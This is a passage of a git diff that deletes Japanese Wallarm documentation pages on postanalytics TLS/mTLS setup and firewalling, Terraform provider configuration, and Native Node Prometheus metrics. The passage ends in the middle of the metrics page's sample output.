-1. NGINX‑Wallarmサーバーで、NGINXの[設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)（通常は`/etc/nginx/nginx.conf`）にて次を行います: - - 1. TLS経由でpostanalyticsに使用するupstreamを構成します。 - 1. [`wallarm_wstore_upstream`](configure-parameters-en.md#wallarm_wstore_upstream)に`ssl=on`オプションを追加します。 - 1. postanalyticsモジュールがカスタムCA発行の証明書を使用している場合、CA証明書をNGINX‑Wallarmサーバーへ配置し、そのパスを[`wallarm_wstore_ssl_ca_cert_file`](configure-parameters-en.md#wallarm_wstore_ssl_ca_cert_file)に指定します。 - - このファイルはpostanalyticsサーバーで設定した`service.TLS.caCertFile`と一致している必要があります。 - - ``` - http { - upstream wallarm_wstore { - server postanalytics.server.com:6388 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; - } - - wallarm_wstore_upstream wallarm_wstore ssl=on; - - # wallarm_wstore_ssl_ca_cert_file /path/to/wstore-ca.crt; - } - ``` -1. NGINX‑WallarmサーバーでNGINXを再起動します: - - === "Debian" - ```bash - sudo systemctl restart nginx - ``` - === "Ubuntu" - ```bash - sudo service nginx restart - ``` - === "CentOS" - ```bash - sudo systemctl restart nginx - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` - === "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` -1. [連携を確認します](#step-9-check-the-nginxwallarm-and-separate-postanalytics-modules-interaction)。 - -### 相互TLS（mTLS） - -NGINX‑Wallarmモジュールとpostanalyticsモジュールの双方が相互に証明書を検証する相互認証を有効にするには: - -1. 上記のとおり[SSL/TLS接続](#ssltls-connection-to-the-postanalytics-module)をpostanalyticsモジュールに対して有効化します。 -1. 稼働中のNGINX‑WallarmモジュールのホストのFQDNまたはIPアドレスに対してクライアント証明書を発行します。 -1. NGINX‑Wallarmサーバーで、クライアント証明書と秘密鍵を配置し、それぞれのパスを[`wallarm_wstore_ssl_cert_file`](configure-parameters-en.md#wallarm_wstore_ssl_cert_file)および[`wallarm_wstore_ssl_key_file`](configure-parameters-en.md#wallarm_wstore_ssl_key_file)に指定します: - - ``` - http { - upstream wallarm_wstore { - server postanalytics.server.com:6388 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; - } - - wallarm_wstore_upstream wallarm_wstore ssl=on; - - wallarm_wstore_ssl_cert_file /path/to/client.crt; - wallarm_wstore_ssl_key_file /path/to/client.key; - - # wallarm_wstore_ssl_ca_cert_file /path/to/wstore-ca.crt; - } - ``` - - 次に、NGINXを再起動します: - - === "Debian" - ```bash - sudo systemctl restart nginx - ``` - === "Ubuntu" - ```bash - sudo service nginx restart - ``` - === "CentOS" - ```bash - sudo systemctl restart nginx - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` - === "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -1. postanalyticsサーバーで、`/opt/wallarm/wstore/wstore.yaml`にてmTLSを有効にします: - - ```yaml - service: - TLS: - enabled: true - address: 0.0.0.0:6388 - certFile: "/opt/wallarm/wstore/wstore.crt" - keyFile: "/opt/wallarm/wstore/wstore.key" - # caCertFile: "/opt/wallarm/wstore/wstore-ca.crt" - mutualTLS: - enabled: true - # clientCACertFile: "/opt/wallarm/wstore/client-ca.crt" - ``` - - * `mutualTLS.enabled`: mTLSを有効化または無効化します。既定は`false`です。 - * `mutualTLS.clientCACertFile`（任意）: NGINX‑Wallarmクライアント用のカスタムCA証明書のパス。 - - - その後、Wallarmサービスを再起動します: - - ``` - sudo systemctl restart wallarm.service - ``` - -## postanalyticsモジュールの保護 - -!!! warning "インストール済みのpostanalyticsモジュールを保護してください" - 新しくインストールしたWallarmのpostanalyticsモジュールは、ファイアウォールで保護することを強く推奨します。そうしない場合、サービスへの不正アクセスを受けるリスクがあり、次のような事態につながる可能性があります: - - * 処理済みリクエストに関する情報の漏えい - * 任意のLuaコードおよびオペレーティングシステムコマンドの実行の可能性 - - postanalyticsモジュールをNGINX‑Wallarmモジュールと同一サーバーに併設してデプロイしている場合、上記のリスクはありません。これは、postanalyticsモジュールがポート`3313`をリッスンするためです。 - - 別途インストールしたpostanalyticsモジュールに適用すべきファイアウォール設定は以下のとおりです: - - * postanalyticsモジュールがWallarm APIサーバーと通信できるよう、これらのサーバーとの間のHTTPSトラフィックを許可します: - * `us1.api.wallarm.com`はUS Wallarm CloudのAPIサーバーです - * `api.wallarm.com`はEU Wallarm CloudのAPIサーバーです - * TCPおよびUDPプロトコルにおいて、`3313`のwstoreポートへのアクセスをWallarmフィルタリングノードのIPアドレスからの接続のみに制限します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/managing/terraform-provider.md b/docs/latest-ja/admin-en/managing/terraform-provider.md deleted file mode 100644 index c8984cd329..0000000000 --- a/docs/latest-ja/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1,138 +0,0 @@ -# Terraformを使用したWallarmの管理 - -インフラストラクチャの管理に[Terraform](https://www.terraform.io/)を使用している場合、Wallarmの管理にもそれを使用すると便利です。Terraform向けの[Wallarmプロバイダー](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs)を使用すると実現できます。 - -## 要件 - -* [Terraform](https://www.terraform.io/)の基礎知識 -* Terraform 0.15.5以降のバイナリ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarmアカウント -* USまたはEUの[Cloud](../../about-wallarm/overview.md#cloud)にあるWallarm Consoleで**Administrator**[role](../../user-guides/settings/users.md#user-roles)を持つアカウントへのアクセス -* US Wallarm Cloudで作業する場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudで作業する場合は`https://api.wallarm.com`へのアクセスが必要です。アクセスがファイアウォールでブロックされていないことを確認してください - -## プロバイダーのインストール - -1. 次をTerraformの構成にコピー&ペーストします: - - ``` - terraform { - required_version = ">= 0.15.5" - - required_providers { - wallarm = { - source = "wallarm/wallarm" - version = "1.5.0" - } - } - } - - provider "wallarm" { - # 構成オプション - } - ``` - -1. `terraform init`を実行します。 - -## プロバイダーをWallarmアカウントに接続する - -[US](https://us1.my.wallarm.com/signup)または[EU](https://my.wallarm.com/signup) CloudのWallarmアカウントにWallarm Terraformプロバイダーを接続するには、Terraformの構成にAPIアクセス認証情報を設定します: - -=== "US Cloud" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://us1.api.wallarm.com" - # マルチテナンシー機能を使用する場合にのみ必要です: - # client_id = - } - ``` -=== "EU Cloud" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://api.wallarm.com" - # マルチテナンシー機能を使用する場合にのみ必要です: - # client_id = - } - ``` - -* ``はお使いのWallarmアカウントのAPIにアクセスするためのトークンです。[取得方法→](../../user-guides/settings/api-tokens.md) -* ``はテナント（クライアント）のIDで、[マルチテナンシー](../../installation/multi-tenant/overview.md)機能を使用する場合にのみ必要です。[こちら](../../installation/multi-tenant/configure-accounts.md#via-the-wallarm-api)の説明に従って`uuid`ではなく`id`を使用してください。 - -詳細はWallarmプロバイダーの[ドキュメント](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs)を参照してください。 - -## プロバイダーでWallarmを管理する - -Wallarmプロバイダーを使用すると、Terraform経由で次の項目を管理できます: - -* [セルフホストノード](../../user-guides/nodes/nodes.md) -* [アプリケーション](../../user-guides/settings/applications.md) -* [ルール](../../user-guides/rules/rules.md) -* [トリガー](../../user-guides/triggers/triggers.md) -* [denylist](../../user-guides/ip-lists/overview.md)、[allowlist](../../user-guides/ip-lists/overview.md)、[graylist](../../user-guides/ip-lists/overview.md)内のIP -* [ユーザー](../../user-guides/settings/users.md) -* [インテグレーション](../../user-guides/settings/integrations/integrations-intro.md) -* グローバル[フィルタリングモード](../../admin-en/configure-wallarm-mode.md) -* [脆弱性](../../user-guides/vulnerabilities.md) - -!!! info "Wallarm TerraformプロバイダーとEdgeノード" - 現時点では、Edgeの[inline](../../installation/security-edge/inline/overview.md)および[connector](../../installation/security-edge/se-connector.md)ノードはWallarm Terraformプロバイダー経由で管理できません。 - -記載の操作方法はWallarmプロバイダーの[ドキュメント](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs)を参照してください。 - -## 使用例 - -以下はWallarm用のTerraform構成例です: - -``` -provider "wallarm" { - api_token = "" - api_host = "https://us1.api.wallarm.com" -} - -resource "wallarm_global_mode" "global_block" { - waf_mode = "default" -} - -resource "wallarm_application" "tf_app" { - name = "Terraform Application 001" - app_id = 42 -} - -resource "wallarm_rule_mode" "tiredful_api_mode" { - mode = "monitoring" - - action { - point = { - instance = 42 - } - } - - action { - type = "regex" - point = { - scheme = "https" - } - } -} -``` - -構成ファイルを保存し、その後`terraform apply`を実行します。 - -この構成は次の処理を行います: - -* US Cloud → 企業アカウントに、指定のWallarm APIトークンで接続します。 -* `resource "wallarm_global_mode" "global_block"` → グローバルフィルタリングモードを`Local settings (default)`に設定します。これは各ノードでローカルにフィルタリングモードを制御することを意味します。 -* `resource "wallarm_application" "tf_app"` → 名前が`Terraform Application 001`、IDが`42`のアプリケーションを作成します。 -* `resource "wallarm_rule_mode" "tiredful_api_mode"` → IDが`42`のアプリケーションにHTTPSプロトコルで送信されるすべてのリクエストに対して、トラフィックのフィルタリングモードを`Monitoring`に設定するルールを作成します。 - -## WallarmとTerraformに関するさらなる情報 - -Terraformは、多数のインテグレーション（[プロバイダー](https://www.terraform.io/language/providers)）と、すぐに使用できる構成（[モジュール](https://www.terraform.io/language/modules)）をサポートしており、複数のベンダーが公開[レジストリ](https://www.terraform.io/registry#navigating-the-registry)に提供しています。 - -このレジストリには、Wallarmが次を公開しています: - -* TerraformでWallarmを管理するための[Wallarmプロバイダー](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs)。本記事で説明しています。 -* Terraform互換の環境からAWSにノードをデプロイするための[Wallarmモジュール](../../installation/cloud-platforms/aws/terraform-module/overview.md)。 - -これら2つは目的の異なる独立したツールです。一方を使用するためにもう一方は必要ありません。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/native-node-metrics.md b/docs/latest-ja/admin-en/native-node-metrics.md deleted file mode 100644 index 06ce6e369d..0000000000 --- a/docs/latest-ja/admin-en/native-node-metrics.md +++ /dev/null @@ -1,527 +0,0 @@ -# Native Nodeメトリクスの監視 - -[Native Node](../installation/nginx-native-node-internals.md#native-node)は[Prometheus](https://prometheus.io/docs/instrumenting/exposition_formats/)形式でメトリクスを公開し、パフォーマンス、トラフィック、検出された攻撃を監視できるようにします。このガイドでは、これらのメトリクスへのアクセス方法と解釈方法を説明します。 - -## メトリクスへのアクセス - -デフォルトでは、Nodeは次のエンドポイントでメトリクスを提供します: - -```bash -http://:9000/metrics -``` - -メトリクスエンドポイントへアクセスするには: - -* **Dockerまたは仮想マシン** - ファイアウォールでポート`9000`を開放するか、Dockerの`-p 9000:9000`で公開します。 - - メトリクスのポートとパスは[`metrics.*`](../installation/native-node/all-in-one-conf.md#metricsenabled)パラメータで変更できます。 -* **Kubernetes** - ローカルにポートを転送するために`kubectl port-forward`コマンドを使用します。例: - - ```bash - kubectl port-forward svc/ 9000:9000 -n - ``` - - メトリクスのポートとパスは[`processing.metrics.*`](../installation/native-node/helm-chart-conf.md#processingmetricsenabled)パラメータで変更できます。 - -## 利用可能なメトリクス - -以下のPrometheusメトリクス群が利用できます。各メトリクスには、その目的を詳しく説明する`HELP`メッセージが含まれます。 - -メトリクスの正確な一覧はNative Nodeのバージョンによって異なる場合があります。変更点は[Native Nodeの変更履歴](../updating-migrating/native-node/node-artifact-versions.md)に反映されます。 - -### `wallarm_gonode_application_*` - -Nodeインスタンスに関する一般情報を提供します。バージョン、デプロイタイプ、モード、設定リロードの統計を含みます。 - -### `wallarm_gonode_files_*`, `wallarm_gonode_http_inspector_ruleset_*` - -適用された設定およびルールセットファイルの詳細を含みます。フォーマットおよびコンテンツのバージョン、最終更新タイムスタンプを示します。 - -### `wallarm_gonode_go_*`, `wallarm_gonode_process_*` - -標準的なプロセスおよびGoランタイムのメトリクスです。リソース使用状況(CPU、メモリ、ネットワーク)やガーベジコレクタの統計を含みます。 - -### `wallarm_gonode_http_connector_*` - -connector serverコンポーネントに関するメトリクスで、リクエスト処理、ブロック/バイパスされたリクエスト、エラーカウンタ、レイテンシを網羅します。 - -### `wallarm_gonode_http_inspector_*` - -HTTP inspectorからの詳細な統計を提供します。処理されたリクエストとレスポンス、検出およびブロックされた攻撃、内部パイプラインの各種メトリクスを含みます。 - -### `wallarm_gonode_postanalytics_*` - -postanalyticsサービス(wstore)へのデータエクスポートに関するメトリクスを含みます。エクスポート済みリクエスト、エラー、postanalyticsノードへのアクティブ接続などを含みます。 - -## メトリクス出力の例 - -以下はメトリクスエンドポイントからのレスポンス例です: - -```{.bash .prom-metrics-output} -# HELP wallarm_gonode_application_config_reload_errors_total 設定のリロード中に発生したエラーの総数です -# TYPE wallarm_gonode_application_config_reload_errors_total counter -wallarm_gonode_application_config_reload_errors_total 0 -# HELP wallarm_gonode_application_config_reloads_total 設定のリロード回数の総数です -# TYPE wallarm_gonode_application_config_reloads_total counter -wallarm_gonode_application_config_reloads_total 0 -# HELP wallarm_gonode_application_info アプリケーション情報です。'version'、'mode'ラベルを参照してください。 -# TYPE wallarm_gonode_application_info gauge -wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1-rc4"} 1 -# HELP wallarm_gonode_files_apply_timestamp_seconds 各種ファイルが適用された時刻のタイムスタンプです。'file'ラベルを参照してください。 -# TYPE wallarm_gonode_files_apply_timestamp_seconds gauge -wallarm_gonode_files_apply_timestamp_seconds{file="custom_ruleset"} 1.753986724e+09 -wallarm_gonode_files_apply_timestamp_seconds{file="proton.db"} 1.753986724e+09 -# HELP wallarm_gonode_files_content_version 各種ファイルのコンテンツバージョンです。'file'ラベルを参照してください。 -# TYPE wallarm_gonode_files_content_version gauge -wallarm_gonode_files_content_version{file="custom_ruleset"} 1938 -wallarm_gonode_files_content_version{file="proton.db"} 215 -# HELP wallarm_gonode_files_format_version 各種ファイルのフォーマットバージョンです。'file'ラベルを参照してください。 -# TYPE wallarm_gonode_files_format_version gauge -wallarm_gonode_files_format_version{file="custom_ruleset"} 58 -wallarm_gonode_files_format_version{file="proton.db"} 10 -# HELP wallarm_gonode_go_gc_duration_seconds ガーベジコレクションサイクルにおけるウォールタイム停止(stop-the-world)時間のサマリです。 -# TYPE wallarm_gonode_go_gc_duration_seconds summary -wallarm_gonode_go_gc_duration_seconds{quantile="0"} 5.4205e-05 -wallarm_gonode_go_gc_duration_seconds{quantile="0.25"} 6.0421e-05 -wallarm_gonode_go_gc_duration_seconds{quantile="0.5"} 6.5876e-05 -wallarm_gonode_go_gc_duration_seconds{quantile="0.75"} 0.000109397 -wallarm_gonode_go_gc_duration_seconds{quantile="1"} 0.00016074 -wallarm_gonode_go_gc_duration_seconds_sum 0.000900882 -wallarm_gonode_go_gc_duration_seconds_count 11 -# HELP wallarm_gonode_go_gc_gogc_percent ユーザーが設定したヒープサイズ目標の割合で、設定がなければ100です。この値は環境変数GOGCおよびruntime/debug.SetGCPercent関数で設定されます。情報源は/gc/gogc:percentです。 -# TYPE wallarm_gonode_go_gc_gogc_percent gauge -wallarm_gonode_go_gc_gogc_percent 100 -# HELP wallarm_gonode_go_gc_gomemlimit_bytes ユーザーが設定したGoランタイムのメモリ制限で、設定がなければmath.MaxInt64です。この値は環境変数GOMEMLIMITおよびruntime/debug.SetMemoryLimit関数で設定されます。情報源は/gc/gomemlimit:bytesです。 -# TYPE wallarm_gonode_go_gc_gomemlimit_bytes gauge -wallarm_gonode_go_gc_gomemlimit_bytes 9.223372036854776e+18 -# HELP wallarm_gonode_go_goroutines 現在存在するgoroutineの数です。 -# TYPE wallarm_gonode_go_goroutines gauge -wallarm_gonode_go_goroutines 39 -# HELP wallarm_gonode_go_info Go環境に関する情報です。 -# TYPE wallarm_gonode_go_info gauge -wallarm_gonode_go_info{version="go1.24.5"} 1 -# HELP wallarm_gonode_go_memstats_alloc_bytes ヒープに割り当てられ現在使用中のバイト数です。/memory/classes/heap/objects:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_alloc_bytes gauge -wallarm_gonode_go_memstats_alloc_bytes 9.302008e+06 -# HELP wallarm_gonode_go_memstats_alloc_bytes_total これまでにヒープに割り当てられた総バイト数で、既に解放されたものも含みます。/gc/heap/allocs:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_alloc_bytes_total counter -wallarm_gonode_go_memstats_alloc_bytes_total 5.7922512e+07 -# HELP wallarm_gonode_go_memstats_buck_hash_sys_bytes プロファイリングのバケットハッシュテーブルが使用するバイト数です。/memory/classes/profiling/buckets:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_buck_hash_sys_bytes gauge -wallarm_gonode_go_memstats_buck_hash_sys_bytes 91305 -# HELP wallarm_gonode_go_memstats_frees_total ヒープオブジェクトの解放総数です。/gc/heap/frees:objects + /gc/heap/tiny/allocs:objectsに等しいです。 -# TYPE wallarm_gonode_go_memstats_frees_total counter -wallarm_gonode_go_memstats_frees_total 625423 -# HELP wallarm_gonode_go_memstats_gc_sys_bytes ガーベジコレクションのシステムメタデータに使用されるバイト数です。/memory/classes/metadata/other:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_gc_sys_bytes gauge -wallarm_gonode_go_memstats_gc_sys_bytes 3.494312e+06 -# HELP wallarm_gonode_go_memstats_heap_alloc_bytes ヒープで割り当てられ現在使用中のバイト数で、go_memstats_alloc_bytesと同じです。/memory/classes/heap/objects:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_heap_alloc_bytes gauge -wallarm_gonode_go_memstats_heap_alloc_bytes 9.302008e+06 -# HELP wallarm_gonode_go_memstats_heap_idle_bytes 使用待ちのヒープバイト数です。/memory/classes/heap/released:bytes + /memory/classes/heap/free:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_heap_idle_bytes gauge -wallarm_gonode_go_memstats_heap_idle_bytes 4.374528e+06 -# HELP wallarm_gonode_go_memstats_heap_inuse_bytes 使用中のヒープバイト数です。/memory/classes/heap/objects:bytes + /memory/classes/heap/unused:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_heap_inuse_bytes gauge -wallarm_gonode_go_memstats_heap_inuse_bytes 1.1321344e+07 -# HELP wallarm_gonode_go_memstats_heap_objects 現在割り当てられているオブジェクト数です。/gc/heap/objects:objectsに等しいです。 -# TYPE wallarm_gonode_go_memstats_heap_objects gauge -wallarm_gonode_go_memstats_heap_objects 56658 -# HELP wallarm_gonode_go_memstats_heap_released_bytes OSに解放されたヒープバイト数です。/memory/classes/heap/released:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_heap_released_bytes gauge -wallarm_gonode_go_memstats_heap_released_bytes 2.29376e+06 -# HELP wallarm_gonode_go_memstats_heap_sys_bytes システムから取得したヒープバイト数です。/memory/classes/heap/objects:bytes + /memory/classes/heap/unused:bytes + /memory/classes/heap/released:bytes + /memory/classes/heap/free:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_heap_sys_bytes gauge -wallarm_gonode_go_memstats_heap_sys_bytes 1.5695872e+07 -# HELP wallarm_gonode_go_memstats_last_gc_time_seconds 最後のガーベジコレクションが発生した時刻の1970年からの経過秒数です。 -# TYPE wallarm_gonode_go_memstats_last_gc_time_seconds gauge -wallarm_gonode_go_memstats_last_gc_time_seconds 1.7539879135438237e+09 -# HELP wallarm_gonode_go_memstats_mallocs_total 割り当てられたヒープオブジェクトの総数で、存続中とGC済みの両方を含みます。意味的にはgo_memstats_heap_objectsゲージのカウンタ版です。/gc/heap/allocs:objects + /gc/heap/tiny/allocs:objectsに等しいです。 -# TYPE wallarm_gonode_go_memstats_mallocs_total counter -wallarm_gonode_go_memstats_mallocs_total 682081 -# HELP wallarm_gonode_go_memstats_mcache_inuse_bytes mcache構造体が使用中のバイト数です。/memory/classes/metadata/mcache/inuse:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_mcache_inuse_bytes gauge -wallarm_gonode_go_memstats_mcache_inuse_bytes 2416 -# HELP wallarm_gonode_go_memstats_mcache_sys_bytes システムから取得したmcache構造体用のバイト数です。/memory/classes/metadata/mcache/inuse:bytes + /memory/classes/metadata/mcache/free:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_mcache_sys_bytes gauge -wallarm_gonode_go_memstats_mcache_sys_bytes 15704 -# HELP wallarm_gonode_go_memstats_mspan_inuse_bytes mspan構造体が使用中のバイト数です。/memory/classes/metadata/mspan/inuse:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_mspan_inuse_bytes gauge -wallarm_gonode_go_memstats_mspan_inuse_bytes 138400 -# HELP wallarm_gonode_go_memstats_mspan_sys_bytes システムから取得したmspan構造体用のバイト数です。/memory/classes/metadata/mspan/inuse:bytes + /memory/classes/metadata/mspan/free:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_mspan_sys_bytes gauge -wallarm_gonode_go_memstats_mspan_sys_bytes 163200 -# HELP wallarm_gonode_go_memstats_next_gc_bytes 次回のガーベジコレクションが発生するヒープバイト数です。/gc/heap/goal:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_next_gc_bytes gauge -wallarm_gonode_go_memstats_next_gc_bytes 1.8470754e+07 -# HELP wallarm_gonode_go_memstats_other_sys_bytes その他のシステム割り当てに使用されるバイト数です。/memory/classes/other:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_other_sys_bytes gauge -wallarm_gonode_go_memstats_other_sys_bytes 540825 -# HELP wallarm_gonode_go_memstats_stack_inuse_bytes 非CGO環境におけるスタックアロケータ用にシステムから取得されたバイト数です。/memory/classes/heap/stacks:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_stack_inuse_bytes gauge -wallarm_gonode_go_memstats_stack_inuse_bytes 1.081344e+06 -# HELP wallarm_gonode_go_memstats_stack_sys_bytes スタックアロケータ用にシステムから取得されたバイト数です。/memory/classes/heap/stacks:bytes + /memory/classes/os-stacks:bytesに等しいです。 -# TYPE wallarm_gonode_go_memstats_stack_sys_bytes gauge -wallarm_gonode_go_memstats_stack_sys_bytes 1.081344e+06 -# HELP wallarm_gonode_go_memstats_sys_bytes システムから取得したバイト数です。/memory/classes/total:byteに等しいです。 -# TYPE wallarm_gonode_go_memstats_sys_bytes gauge -wallarm_gonode_go_memstats_sys_bytes 2.1082562e+07 -# HELP wallarm_gonode_go_sched_gomaxprocs_threads 現在のruntime.GOMAXPROCS設定、または同時にユーザーレベルのGoコードを実行できるOSスレッド数です。情報源は/sched/gomaxprocs:threadsです。 -# TYPE wallarm_gonode_go_sched_gomaxprocs_threads gauge -wallarm_gonode_go_sched_gomaxprocs_threads 2 -# HELP wallarm_gonode_go_threads 作成されたOSスレッド数です。 -# TYPE wallarm_gonode_go_threads gauge -wallarm_gonode_go_threads 11 -# HELP wallarm_gonode_http_connector_server_avg_latency_ms このノードで処理されたリクエストの平均レイテンシです -# TYPE wallarm_gonode_http_connector_server_avg_latency_ms gauge -wallarm_gonode_http_connector_server_avg_latency_ms 0.819581 -# HELP wallarm_gonode_http_connector_server_debug_container_len 現在の各種内部データ構造内のアイテム数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_connector_server_debug_container_len gauge -wallarm_gonode_http_connector_server_debug_container_len{type="map:activeRequests"} 0 -wallarm_gonode_http_connector_server_debug_container_len{type="map:requestWaitMap"} 0 -wallarm_gonode_http_connector_server_debug_container_len{type="map:responseWaitMap"} 0 -# HELP wallarm_gonode_http_connector_server_errors_total 各種エラーカウンタです。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_connector_server_errors_total counter -wallarm_gonode_http_connector_server_errors_total{type="DroppedOnOverload"} 0 -wallarm_gonode_http_connector_server_errors_total{type="DuplicateReqId"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgDataFormat"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgType"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgpackDataFormat"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgpackDecode"} 0 -wallarm_gonode_http_connector_server_errors_total{type="NilBody"} 0 -wallarm_gonode_http_connector_server_errors_total{type="ReqBodyReading"} 0 -wallarm_gonode_http_connector_server_errors_total{type="RespBodyReading"} 0 -# HELP wallarm_gonode_http_connector_server_messages_processed_total 正常に処理されたメッセージの総数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_connector_server_messages_processed_total counter -wallarm_gonode_http_connector_server_messages_processed_total{type="request"} 3 -wallarm_gonode_http_connector_server_messages_processed_total{type="response"} 0 -# HELP wallarm_gonode_http_connector_server_messages_rejected_total connector serverがさまざまな理由で拒否したメッセージの総数です。'reason'ラベルを参照してください。 -# TYPE wallarm_gonode_http_connector_server_messages_rejected_total counter -wallarm_gonode_http_connector_server_messages_rejected_total{reason="connector_info"} 3 -wallarm_gonode_http_connector_server_messages_rejected_total{reason="host"} 0 -wallarm_gonode_http_connector_server_messages_rejected_total{reason="remote_address"} 0 -# HELP wallarm_gonode_http_connector_server_messages_seen_total connector serverが受け取ったメッセージの総数です。'type'ラベルを参照してください。'total'タイプには、拒否、処理、転送、エラーなどすべてが含まれます。 -# TYPE wallarm_gonode_http_connector_server_messages_seen_total counter -wallarm_gonode_http_connector_server_messages_seen_total{type="health"} 0 -wallarm_gonode_http_connector_server_messages_seen_total{type="request"} 3 -wallarm_gonode_http_connector_server_messages_seen_total{type="response"} 0 -wallarm_gonode_http_connector_server_messages_seen_total{type="total"} 6 -# HELP wallarm_gonode_http_connector_server_requests_blocked_total Wallarmによってブロックされたリクエスト数です -# TYPE wallarm_gonode_http_connector_server_requests_blocked_total counter -wallarm_gonode_http_connector_server_requests_blocked_total 0 -# HELP wallarm_gonode_http_connector_server_requests_bypassed_total 検査されなかったリクエストです。'reason'ラベルを参照してください。 -# TYPE wallarm_gonode_http_connector_server_requests_bypassed_total counter -wallarm_gonode_http_connector_server_requests_bypassed_total{reason="input_filters"} 0 -wallarm_gonode_http_connector_server_requests_bypassed_total{reason="mode_off"} 0 -# HELP wallarm_gonode_http_connector_server_responses_bypassed_total 検査されなかったレスポンス数です -# TYPE wallarm_gonode_http_connector_server_responses_bypassed_total counter -wallarm_gonode_http_connector_server_responses_bypassed_total 0 -# HELP wallarm_gonode_http_connector_server_step_container_is_overloaded アプリが受信より速くデータを処理している場合、コンテナは過負荷ではありません。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_connector_server_step_container_is_overloaded gauge -wallarm_gonode_http_connector_server_step_container_is_overloaded{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_connector_server_step_debug_container_len 現在の各種内部データ構造内のアイテム数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_connector_server_step_debug_container_len gauge -wallarm_gonode_http_connector_server_step_debug_container_len{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_connector_server_step_is_running このパイプラインステップが現在実行中(1)か停止中(0)かを示すフラグです。 -# TYPE wallarm_gonode_http_connector_server_step_is_running gauge -wallarm_gonode_http_connector_server_step_is_running 1 -# HELP wallarm_gonode_http_connector_server_step_output_messages_total このパイプラインステップの出力メッセージ総数です。'msgtype'、'receiver'、'dropped'ラベルを参照してください。 -# TYPE wallarm_gonode_http_connector_server_step_output_messages_total counter -wallarm_gonode_http_connector_server_step_output_messages_total{dropped="false",msgtype="MsgHTTP",reciever="0"} 18 -wallarm_gonode_http_connector_server_step_output_messages_total{dropped="true",msgtype="MsgHTTP",reciever="0"} 0 -# HELP wallarm_gonode_http_inspector_acl_results_per_app_total ACL結果のカウンタです。'list'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_acl_results_per_app_total counter -wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="black"} 0 -wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="grey"} 0 -wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="none"} 0 -wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="white"} 0 -# HELP wallarm_gonode_http_inspector_acl_results_per_host_total ACL結果のカウンタです。'list'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_acl_results_per_host_total counter -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="black"} 0 -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="grey"} 0 -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="none"} 0 -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="white"} 0 -# HELP wallarm_gonode_http_inspector_acl_results_total ACL結果のカウンタです。'list'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_acl_results_total counter -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="black"} 0 -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="grey"} 0 -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="none"} 0 -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="white"} 0 -# HELP wallarm_gonode_http_inspector_adjusted_counters_per_app_total 調整済みカウンタです。調整済みレガシーカウンタに対応します。'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_adjusted_counters_per_app_total counter -wallarm_gonode_http_inspector_adjusted_counters_per_app_total{aggregate="sum",application_id="-1",type="attacks"} 0 -wallarm_gonode_http_inspector_adjusted_counters_per_app_total{aggregate="sum",application_id="-1",type="requests"} 3 -# HELP wallarm_gonode_http_inspector_adjusted_counters_per_host_total 